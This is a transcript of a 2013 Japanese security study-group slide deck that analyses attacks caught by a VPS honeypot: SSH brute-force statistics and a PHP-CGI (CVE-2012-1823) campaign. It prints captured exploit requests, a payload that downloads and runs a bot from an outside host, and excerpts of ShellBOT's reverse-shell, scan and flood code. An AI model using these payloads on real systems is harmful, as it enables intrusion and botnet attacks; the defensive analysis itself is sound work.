Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
さくらのVPSに来る悪い人
を観察する その2
Security Casual Talks すみだセキュリティ勉強会その2
2013/12/07 @ozuma5119
2013-11-18 20:12:18 login attempt [roo...
自己紹介
• @ozuma5119
• ネット企業でセキュリティサービスをやっ
ているエンジニア
• http://d.hatena.ne.jp/ozuma/
• 科学写真家(と名乗っている)

さくらのVPSに来る悪い人を観察する その2 (...
話すことの概要
• 個人で借りているさくらのVPSにいろいろ
来るので、その攻撃を観察してみた
• 悪いことしてる人たちがどうしようとし
ているかが、なんとなくかいま見えた。
ので誰かに言いたくなった
– ボットネット。

さくらのVPSに来る...
ボットネット?

「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用
さくらのVPSに来る悪い人を観察する その2 (@ozuma5...
きょう、話さないこと
• セキュアなプログラミング手法とか
• セキュアなサーバ構築の手順とか
– そういうのは教科書的なものがいっぱいある
ので、まぁここで話さなくてもいいかな、と
……

• 教科書
– LPIC Linuxセキュリティ標準...
こんなん見ました・その1
• SSH (Secure Shell)
– 安全にリモートコンピュータと通信するため
のプロトコル

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

6
こんなん見ました・その1
• なんかVPS(仮想専用サーバ)借りるとsshロ
グインがいっぱい来るんですけど。
– SSHブルートフォースの観察
– 侵入した人が打とうとしているコマンド調べ
– 日本初!(たぶん世界初)。侵入者にアンケート
を...
sshd
• ssh接続のためにsshdを上げていると、世
界中から招かれざる客が来ます

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

8
/var/log/secure
Aug 19 21:56:35 sshd[4331]: Failed password for root from 1..
Aug 19 21:56:38 sshd[4335]: Failed password ...
sshアタック多すぎるので少しデー
タ取ってみる
• 興味として、どこから、どんなIDやパス
ワードが試されているのか知りたい。
– /var/log/secureには、入れられたパスワードは
出ないのでハニーポットソフトを使います

さくらの...
sshアタック多すぎるので少しデー
タ取ってみる 2
• 悪い人たちは、ログインできたら次に何
をしようとしているのか知りたい。
– 観察記だし。

• 「悪とは何か?」「正義とは何か?」は難
しいので今はパスします
– 妻を人質にとられて、泣...
kippo – SSH Honeypot

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

12
kippo – SSH Honeypot
• sshdっぽく振る舞ってくれるハニーポット

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

13
kippo – SSH Honeypot 2
• ログ取りして観察できる様々な機能
– 入力されたID・パスワード取得
– ダミーユーザはテキストファイルで簡単追加
– 端末で打たれたコマンドは全てログ取得し、
付属アプリで「再生」可能(おもし...
やられサーバ構成
• さくらのVPS
– 49.212.197.88

• sshd
– tcp/2222 (kippo)
– tcp/20222 (sshd)
– tcp/22からtcp/2222
へiptablesでポート
フォワード
– ...
まずはログイン分析
2013-11-21 07:02:31+0900 [SSHService ssh-userauth on
HoneyPotTransport,13,218.68.3.136] login attempt
[root/root...
ssh狙われるアカウント TOP5
1位 2位 3位 4位
5位
root ftpuser oracle nagios postgresql
65.8% 1.3%
1.1% 0.65%
0.55%
総試行:14646

• rootが絶大な人気...
ssh試されたパスワード TOP5
1位

2位
3位
4位
5位
passwo 1qaz2w p@ssw
123456
111111
rd
sx
0rd
0.91% 0.68% 0.45% 0.40% 0.38%
総試行:14646

• ま...
sshソースIPアドレス(国別)
1位

2位

3位

4位

5位

中国 アメリカ メキシコ 韓国 ドイツ
54.6%

13.7%

10.8%

5.8%

4.6%
総試行:14646

• まぁだいたい妥当なランキング
• メキシ...
もっと面白いモノを見る
• Kippoには、侵入者がどんなコマンドを
打ったのかログを取り、あとで再生でき
る機能があります
– キーボード打つ際の、待ち時間なども全てそ
のまま再現してくれるのでリアルです

• ということでちょっと鑑賞してみ...
It's show time!

http://youtu.be/gp3SBjZNWHU

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

21
ツッコミタイム
• 最初にwコマンドは基本
• apt-get install yum が斬新すぎてウケる
• そもそもrootじゃないのに何故apt-get
installできると思うのか
• エディタはnanoじゃなくてvi使おう
• Ra...
Ray.txt
#!/usr/bin/perl

#####################################################
###########################################...
仕掛けようとしていたモノ
• eggdrop
– IRC bot

• Ray.txt
– DDoS Perl IRCbot

• psyBNC
– IRCサーバへのリレー(中継)ソフト

• どれもボットネット関係

さくらのVPSに来る悪い...
ssh 侵入者に人気のコマンド
• sshハニーポットを立てていると、侵入者
が最初に打つコマンドはダントツで w

※ wって草生やしてるわけじゃないよ、念のため
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

25
kippoのwコマンドを差し替え
• kippoのソースをいじって、wコマンドで
アンケートに協力してよ!と出すことに
した
srvapl001:/$ w
Hi! I conduct a suvey of SSH honeypot.
Pleas...
アンケートに回答してくれた人
• 1名いました!
• 悪い人とコミュニケーションが取れた!

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

27
srvapl001:/$ w
Hi! I conduct a suvey of SSH honeypot.
Please give me a hand to collect data. :-)
1st question)
Where are y...
こんなん見ました・その1
完
その2に続く

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

29
こんなん見ました・その2
• 最近よく見る /cgi-bin/php へのアタック
94.xx.xx.xx - - [20/Nov/2013:11:47:22 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%...
復習:CGI版PHPの仕組み
• Apacheの場合
1. /usr/bin/php-cgi へのシンボリックリンクを、
/var/www/cgi-bin/php に作る
2. .phpファイルにハンドラを設定
3. ハンドラのActionとし...
CGI版PHPの仕組み その2
• サーバ上の.phpファイルがアクセスされ
ると、/cgi-bin/php を裏で実行する
• ユーザからのアクセスで直接/cgi-bin/php
が叩かれることは無い
– が、叩くことはできてしまう

– 叩...
ここでCVE-2012-1823 脆弱性
• 以下のような感じのPOSTを投げつけるだ
けで、お好きなPHPスクリプトをサーバ上
で実行させることができる(CGI版PHP)
POST /myapp.php?-d allow_url_includ...
CVE-2012-1823脆弱性を利用した新しい攻撃手
法

http://blog.tokumaru.org/2013/11/apache-magica-attack.html
さくらのVPSに来る悪い人を観察する その2 (@ozuma51...
魔法少女アパッチ☆マギカ攻撃
はどこが新しくて危険か
• 今まで見つかっていたCGI版PHPの脆弱性
は、サーバ上に設置したPHPスクリプトを
ターゲットとしていた(例:index.php)
– つまりPHPインストールしただけでPHPスク
リ...
全てをURLエンコード(ログ検知避け?)
84.xx.xx.xx - - [14/Nov/2013:09:16:48 +0900] "POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+
%61%6C%6...
Magica攻撃を観察:リクエスト
のURL差
• 大きく分けて3パターン (犯行グループごと
に違うのか?)
1. 全てをURLエンコード(ログ検知避け?)
2. /cgi-bin/php?より後をURLエンコード
3. 必要最低限だけURL...
攻撃を食らうとどうなるのか
• POSTボディ部を見れば、何をされそうに
なったかはすぐ分かる
• ボットを仕込まれ、C&Cサーバに接続
– バックドア付き

• いろんなのが降ってきたのだけど、全部
紹介するととても時間足りないので、1つ
の...
150.162.19.45 - - [13/Nov/2013:07:23:27 +0900]
"POST
//%63%67%69%2D%62%69%6E/%70%68%70?%2D
%(省略)%75%74+%2D%6E HTTP/1.1" 50...
リクエストBODY
<? system("cd /tmp ;
wget 207.56.197.8/lol ;
curl -O 207.56.197.8/lol;
fetch 207.56.197.8/lol ;
chmod +x lol ;
....
lolスクリプトの動作
• 試しにwgetしてみて中を見てみた
• Perl製のShellBOTという名前(そう書いてあ
る)
• IRCでC&Cサーバに接続して、
– 命令を受けてポートスキャンしたり
– 命令を受けてDoS攻撃をしたり
– ...
#!/usr/bin/perl
#
# ShellBOT by: devil__
#
Greetz: Puna, Kelserific
#
# Comandos:
#
@oldpack <ip> <bytes> <tempo>;
#
@udp ...
lolスクリプトの中身
$servidor='suoraphp.upol.cz' unless $servidor;
my $porta='3303';
my @canais=("#aiurea");
my @adms=("w","r");

...
lolスクリプトの中身2
ポートスキャン
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my
@portas=("21","22","23","25","53","59","79","...
lolスクリプトの中身3 バックドア
elsif ($funcarg =~ /^conbacks+(.*)s+(d+)/) {
...
(省略)
...
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32...
lolスクリプトの中身4 DoS攻撃

elsif ($funcarg =~ /^udps+(.*)s+(d+)s+(d+)/) {
...
(省略)
...
while (($pacota == "1")) {
$pacota = 0 if ...
C&Cサーバの中

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

47
さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

48
すみだセキュリティ勉強会

http://ozuma.sakura.ne.jp/sumida/

さくらのVPSに来る悪い人を観察する その2 (@ozuma5119)

49
Upcoming SlideShare
Loading in …5
×

さくらのVPSに来る悪い人を観察する その2

131,390 views

Published on

さくらのVPSにアタックしてくる人たちを、ハニーポットなど使いながらその行動を観察した記録です。観察日記。

今回のネタは以下2つです。
*SSH honeypot(Kippo)を使った悪い人の行動観察、アンケート
*/cgi-bin/php (Apache Magica攻撃)の観察

なおこのスライドは、2013年12月7日のSecurity Casual Talks(すみだセキュリティ勉強会)での発表資料です。
http://ozuma.sakura.ne.jp/sumida/

またスライド中、動画は以下のURLで閲覧できます
http://youtu.be/gp3SBjZNWHU

Published in: Technology
  • Be the first to comment

さくらのVPSに来る悪い人を観察する その2

  1. 1. さくらのVPSに来る悪い人 を観察する その2 Security Casual Talks すみだセキュリティ勉強会その2 2013/12/07 @ozuma5119 2013-11-18 20:12:18 login attempt [root/12345] failed 2013-11-18 20:12:21 login attempt [root/1qazxsw23edc] failed 2013-11-18 20:12:25 login attempt [root/Passw0rd] failed 2013-11-18 20:12:28 login attempt [root/password0] failed 2013-11-18 20:12:32 login attempt [root/password1] failed 176.223.62.254 - - [23/Nov/2013:12:44:01 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63 %6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%6 4%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73% 69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73 %61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+ %2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F %6E%65+%2D%64+%61%75%74%6F%5F さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 1
  2. 2. 自己紹介 • @ozuma5119 • ネット企業でセキュリティサービスをやっ ているエンジニア • http://d.hatena.ne.jp/ozuma/ • 科学写真家(と名乗っている) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 2
  3. 3. 話すことの概要 • 個人で借りているさくらのVPSにいろいろ 来るので、その攻撃を観察してみた • 悪いことしてる人たちがどうしようとし ているかが、なんとなくかいま見えた。 ので誰かに言いたくなった – ボットネット。 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 3
  4. 4. ボットネット? 「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 4
  5. 5. きょう、話さないこと • セキュアなプログラミング手法とか • セキュアなサーバ構築の手順とか – そういうのは教科書的なものがいっぱいある ので、まぁここで話さなくてもいいかな、と …… • 教科書 – LPIC Linuxセキュリティ標準教科書(無料) • http://www.lpi.or.jp/linuxtext/security.shtml – IPA 「安全なウェブサイトの作り方」(無料) • https://www.ipa.go.jp/security/vuln/websecurity.html – 徳丸浩「体系的に学ぶ 安全なWebアプリケー ションの作り方」 • http://www.amazon.co.jp/dp/4797361190 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 5
  6. 6. こんなん見ました・その1 • SSH (Secure Shell) – 安全にリモートコンピュータと通信するため のプロトコル さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 6
  7. 7. こんなん見ました・その1 • なんかVPS(仮想専用サーバ)借りるとsshロ グインがいっぱい来るんですけど。 – SSHブルートフォースの観察 – 侵入した人が打とうとしているコマンド調べ – 日本初!(たぶん世界初)。侵入者にアンケート を取ってみました さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 7
  8. 8. sshd • ssh接続のためにsshdを上げていると、世 界中から招かれざる客が来ます さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 8
  9. 9. /var/log/secure Aug 19 21:56:35 sshd[4331]: Failed password for root from 1.. Aug 19 21:56:38 sshd[4335]: Failed password for root from 1.. Aug 19 21:56:42 sshd[4339]: Failed password for root from 1.. Aug 19 21:56:47 sshd[4343]: Failed password for root from 1.. Aug 19 21:56:51 sshd[4347]: Failed password for root from 1.. Aug 19 21:56:56 sshd[4351]: Failed password for root from 1.. Aug 19 21:57:00 sshd[4355]: Failed password for root from 1.. Aug 19 21:57:05 sshd[4359]: Failed password for root from 1.. Aug 19 21:57:09 sshd[4363]: Failed password for root from 1.. Aug 19 21:57:12 sshd[4367]: Failed password for root from 1.. Shit! (クソっ たれが!) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 9
  10. 10. sshアタック多すぎるので少しデー タ取ってみる • 興味として、どこから、どんなIDやパス ワードが試されているのか知りたい。 – /var/log/secureには、入れられたパスワードは 出ないのでハニーポットソフトを使います さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 10
  11. 11. sshアタック多すぎるので少しデー タ取ってみる 2 • 悪い人たちは、ログインできたら次に何 をしようとしているのか知りたい。 – 観察記だし。 • 「悪とは何か?」「正義とは何か?」は難 しいので今はパスします – 妻を人質にとられて、泣く泣くsshアタック している人がいるかもしれない(いないだろ うけど) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 11
  12. 12. kippo – SSH Honeypot さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 12
  13. 13. kippo – SSH Honeypot • sshdっぽく振る舞ってくれるハニーポット さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 13
  14. 14. kippo – SSH Honeypot 2 • ログ取りして観察できる様々な機能 – 入力されたID・パスワード取得 – ダミーユーザはテキストファイルで簡単追加 – 端末で打たれたコマンドは全てログ取得し、 付属アプリで「再生」可能(おもしろ) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 14
  15. 15. やられサーバ構成 • さくらのVPS – 49.212.197.88 • sshd – tcp/2222 (kippo) – tcp/20222 (sshd) – tcp/22からtcp/2222 へiptablesでポート フォワード – 10月下旬から11月 30日までのデータ 取得 さくらインターネット公式ブログより引用 http://sakuraha-blog.jp/ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 15
  16. 16. まずはログイン分析 2013-11-21 07:02:31+0900 [SSHService ssh-userauth on HoneyPotTransport,13,218.68.3.136] login attempt [root/root123] failed 2013-11-21 07:02:33+0900 [SSHService ssh-userauth on HoneyPotTransport,14,218.68.3.136] login attempt [root/112233] failed 2013-11-21 07:02:40+0900 [SSHService ssh-userauth on HoneyPotTransport,15,218.68.3.136] login attempt [root/123123] failed 2013-11-21 07:02:45+0900 [SSHService ssh-userauth on HoneyPotTransport,16,218.68.3.136] login attempt [root/zaq1xsw2] failed さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 16
  17. 17. ssh狙われるアカウント TOP5 1位 2位 3位 4位 5位 root ftpuser oracle nagios postgresql 65.8% 1.3% 1.1% 0.65% 0.55% 総試行:14646 • rootが絶大な人気。(まだ) oracleも多い • 最近はnagios(サーバ監視ソフト)も目立つ – この辺のアカウントは/sbin/nologinでログイン 不可にしておいていいはず さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 17
  18. 18. ssh試されたパスワード TOP5 1位 2位 3位 4位 5位 passwo 1qaz2w p@ssw 123456 111111 rd sx 0rd 0.91% 0.68% 0.45% 0.40% 0.38% 総試行:14646 • まんべんなく試されているので突出した ものはない。 • こういうのを蓄積すれば、「狙われやす いパスワード」が分かってくる さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 18
  19. 19. sshソースIPアドレス(国別) 1位 2位 3位 4位 5位 中国 アメリカ メキシコ 韓国 ドイツ 54.6% 13.7% 10.8% 5.8% 4.6% 総試行:14646 • まぁだいたい妥当なランキング • メキシコが多いのは、10/23の1日だけ猛烈 なアタックがあったから…… – 普段は滅多に来ない国です。たまたま。ア ミーゴ。 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 19
  20. 20. もっと面白いモノを見る • Kippoには、侵入者がどんなコマンドを 打ったのかログを取り、あとで再生でき る機能があります – キーボード打つ際の、待ち時間なども全てそ のまま再現してくれるのでリアルです • ということでちょっと鑑賞してみましょ う さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 20
  21. 21. It's show time! http://youtu.be/gp3SBjZNWHU さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 21
  22. 22. ツッコミタイム • 最初にwコマンドは基本 • apt-get install yum が斬新すぎてウケる • そもそもrootじゃないのに何故apt-get installできると思うのか • エディタはnanoじゃなくてvi使おう • Ray.txtはPerlスクリプトなのかPHPスクリ プトなのかどっちだよ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 22
  23. 23. Ray.txt #!/usr/bin/perl ##################################################### ##################################################### ## DDoS Perl IrcBot v1.0 / 2012 by RAYDENNN Security Team ## Stealth MultiFunctional IrcBot writen in Perl ## Teste on every system with PERL instlled ## ## This is a free program used on your own risk. ## Created for educational purpose only. ## I'm not responsible for the illegal use of this program. ##################################################### ## [ Channel ] #################### [ Flood ] ############# ##################################################### ## !u @join <#channel> ## !u @udp1 <ip> <port> < さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) ## !u @part <#channel> ## !u @udp2 <ip> <packet 23
  24. 24. 仕掛けようとしていたモノ • eggdrop – IRC bot • Ray.txt – DDoS Perl IRCbot • psyBNC – IRCサーバへのリレー(中継)ソフト • どれもボットネット関係 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 24
  25. 25. ssh 侵入者に人気のコマンド • sshハニーポットを立てていると、侵入者 が最初に打つコマンドはダントツで w ※ wって草生やしてるわけじゃないよ、念のため さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 25
  26. 26. kippoのwコマンドを差し替え • kippoのソースをいじって、wコマンドで アンケートに協力してよ!と出すことに した srvapl001:/$ w Hi! I conduct a suvey of SSH honeypot. Please give me a hand to collect data. :-) どこの国? 1st question) Where are you from? (China,Russia,Romania,.. etc.): 2nd question) What your nickname? : Thanks! お名前は? さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 26
  27. 27. アンケートに回答してくれた人 • 1名いました! • 悪い人とコミュニケーションが取れた! さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 27
  28. 28. srvapl001:/$ w Hi! I conduct a suvey of SSH honeypot. Please give me a hand to collect data. :-) 1st question) Where are you from? (China,Russia,Romania,.. etc.): Romania 2nd question) What your nickname? : Romania Thanks! • ルーマニアから来たRomaniaさん – キー入力の反応速度から見て、ちゃんとこの アンケート文を見て答えてくれたようです さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 28
  29. 29. こんなん見ました・その1 完 その2に続く さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 29
  30. 30. こんなん見ました・その2 • 最近よく見る /cgi-bin/php へのアタック 94.xx.xx.xx - - [20/Nov/2013:11:47:22 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63 %6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%6 4%65%3D%6F%66%66+%2D%64+%73%75%68%6F (省略) %72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6 E%76%3D%30+%2D%6E HTTP/1.1" 500 613 "-" "-" ↓ これ POST /cgi-bin/php?%2D%64+....... みなさん来ていますか? 来ていませんか? さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 30
  31. 31. 復習:CGI版PHPの仕組み • Apacheの場合 1. /usr/bin/php-cgi へのシンボリックリンクを、 /var/www/cgi-bin/php に作る 2. .phpファイルにハンドラを設定 3. ハンドラのActionとして/cgi-bin/php を設定 AddHandler php-script .php Action php-script /cgi-bin/php httpd.conf さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 31
  32. 32. CGI版PHPの仕組み その2 • サーバ上の.phpファイルがアクセスされ ると、/cgi-bin/php を裏で実行する • ユーザからのアクセスで直接/cgi-bin/php が叩かれることは無い – が、叩くことはできてしまう – 叩いたところでエラーになるだけなので無意 味(だったのだが……) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 32
  33. 33. ここでCVE-2012-1823 脆弱性 • 以下のような感じのPOSTを投げつけるだ けで、お好きなPHPスクリプトをサーバ上 で実行させることができる(CGI版PHP) POST /myapp.php?-d allow_url_include=on -d auto_prepend_file=php://input HTTP/1.0 <?php readfile('/etc/passwd'); ?> 参考URL http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 33
  34. 34. CVE-2012-1823脆弱性を利用した新しい攻撃手 法 http://blog.tokumaru.org/2013/11/apache-magica-attack.html さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) より引用 34
  35. 35. 魔法少女アパッチ☆マギカ攻撃 はどこが新しくて危険か • 今まで見つかっていたCGI版PHPの脆弱性 は、サーバ上に設置したPHPスクリプトを ターゲットとしていた(例:index.php) – つまりPHPインストールしただけでPHPスク リプトを置いていないサーバは実質無害だっ た – この攻撃は /cgi-bin/php を直接狙うため、PHP をインストールしてるだけで被害を受ける さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 35
  36. 36. 全てをURLエンコード(ログ検知避け?) 84.xx.xx.xx - - [14/Nov/2013:09:16:48 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+ %61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63 %6C%75%64%65%3D%6F%6E+%2D /cgi-bin/php?より後をURLエンコード 85.xx.xx.xx - - [15/Nov/2013:20:21:15 +0900] "POST /cgibin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6 C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D %64+%73%61%66%65 必要最低限だけURLエンコード (COOL!) 192.xx.xx.xx - - [23/Nov/2013:19:15:41 +0900] "GET /cgibin/php?-d+allow_url_include%3Don+d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+d+ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 36
  37. 37. Magica攻撃を観察:リクエスト のURL差 • 大きく分けて3パターン (犯行グループごと に違うのか?) 1. 全てをURLエンコード(ログ検知避け?) 2. /cgi-bin/php?より後をURLエンコード 3. 必要最低限だけURLエンコード (COOLだね!) • URLが微妙に違うので単純に/cgi-bin/php だけgrepしてると検知できない さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 37
  38. 38. 攻撃を食らうとどうなるのか • POSTボディ部を見れば、何をされそうに なったかはすぐ分かる • ボットを仕込まれ、C&Cサーバに接続 – バックドア付き • いろんなのが降ってきたのだけど、全部 紹介するととても時間足りないので、1つ の事例をかいつまんで紹介します さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 38
  39. 39. 150.162.19.45 - - [13/Nov/2013:07:23:27 +0900] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D %(省略)%75%74+%2D%6E HTTP/1.1" 500 602 "-" Host: -c Content-Type: application/x-www-form-urlencoded Content-Length: 136 <? system("cd /tmp ; wget 207.56.197.8/lol ; curl -O 207.56.197.8/lol; fetch 207.56.197.8/lol ; chmod +x lol ; ./lol ; rm -rf lol "); ?> 150.162.19.45 Universidade Federal de Santa Catarina(ブラ ジル) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 39
  40. 40. リクエストBODY <? system("cd /tmp ; wget 207.56.197.8/lol ; curl -O 207.56.197.8/lol; fetch 207.56.197.8/lol ; chmod +x lol ; ./lol ; rm -rf lol "); ?> 207.56.197.8 NTT America, Inc.(US) lolというプログラムを実行するようだ。 (lolとはスラングで、日本語に訳せば「ワロスww」 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 40
  41. 41. lolスクリプトの動作 • 試しにwgetしてみて中を見てみた • Perl製のShellBOTという名前(そう書いてあ る) • IRCでC&Cサーバに接続して、 – 命令を受けてポートスキャンしたり – 命令を受けてDoS攻撃をしたり – バックドアを開いたり さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 41
  42. 42. #!/usr/bin/perl # # ShellBOT by: devil__ # Greetz: Puna, Kelserific # # Comandos: # @oldpack <ip> <bytes> <tempo>; # @udp <ip> <porta> <tempo>; # @fullportscan <ip> <porta inicial> <porta final>; # @conback <ip> <porta> # @download <url> <arquivo a ser salvo>; # !estatisticas <on/off>; # !sair para finalizar o bot; # !novonick para trocar o nick do bot por um novo aleatorio; # !entra <canal> <tempo> # !sai <canal> <tempo>; # !pacotes <on/off> # @info さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 42
  43. 43. lolスクリプトの中身 $servidor='suoraphp.upol.cz' unless $servidor; my $porta='3303'; my @canais=("#aiurea"); my @adms=("w","r"); • C&Cサーバは .cz :チェコ共和国 • 最近、ルーマニアとか東欧の悪い人たち の活動が活発です(いろいろと。状況証 拠しかまだ無いんだけど……) さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 43
  44. 44. lolスクリプトの中身2 ポートスキャン if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","53","59","79","80","110" ,"113","135","139","443","445","1025","5000","6660"," 6661","6662","6663","6665","6666","6667","6668","66 69","7000","8080","8018"); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 44
  45. 45. lolスクリプトの中身3 バックドア elsif ($funcarg =~ /^conbacks+(.*)s+(d+)/) { ... (省略) ... my $shell = "/bin/sh -i"; if ($^O eq "MSWin32") { $shell = "cmd.exe"; } • Windows/UNIX両対応です さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 45
  46. 46. lolスクリプトの中身4 DoS攻撃 elsif ($funcarg =~ /^udps+(.*)s+(d+)s+(d+)/) { ... (省略) ... while (($pacota == "1")) { $pacota = 0 if ((time >= $fim) && ($tempo != "0")); $pacote=$rand x $rand x $rand; $porta = int(rand 65000) +1 if ($porta == "0"); send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) an $pacotese++; • Windows/UNIX両対応 } さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 46
  47. 47. C&Cサーバの中 さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 47
  48. 48. さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 48
  49. 49. すみだセキュリティ勉強会 http://ozuma.sakura.ne.jp/sumida/ さくらのVPSに来る悪い人を観察する その2 (@ozuma5119) 49

×